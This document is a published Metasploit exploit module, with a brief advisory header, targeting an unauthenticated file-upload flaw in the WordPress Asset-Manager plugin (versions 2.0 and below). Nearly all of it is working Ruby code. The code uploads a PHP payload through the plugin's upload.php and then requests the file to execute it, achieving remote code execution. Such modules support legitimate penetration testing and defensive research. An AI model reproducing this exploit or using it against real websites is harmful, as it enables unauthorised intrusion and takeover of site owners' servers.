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WordPress Asset-Manager PHP File Upload

WordPress Asset-Manager PHP File Upload
Posted Dec 28, 2012
Authored by Sammy FORGIT | Site metasploit.com

This Metasploit module exploits a vulnerability found in WordPress plugin Asset-Manager versions 2.0 and below. By abusing the upload.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution.

tags | exploit, arbitrary, php, code execution
advisories | OSVDB-82653
MD5 | c748e130ebc6a192d7a66d7a977f9243

WordPress Asset-Manager PHP File Upload

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
plugin. By abusing the upload.php file, a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
},
'Author' =>
[
'Sammy FORGIT', # initial discovery
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '82653' ],
[ 'BID', '53809' ],
[ 'EDB', '18993' ],
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 26 2012'))

register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
], self.class)
end

def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)

data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{peer} - Uploading payload #{payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if not res or res.code != 200 or res.body !~ /#{payload_name}/
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end

print_status("#{peer} - Executing payload #{payload_name}")
res = send_request_raw({
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
'method' => 'GET'
})

if res and res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
end
end
end

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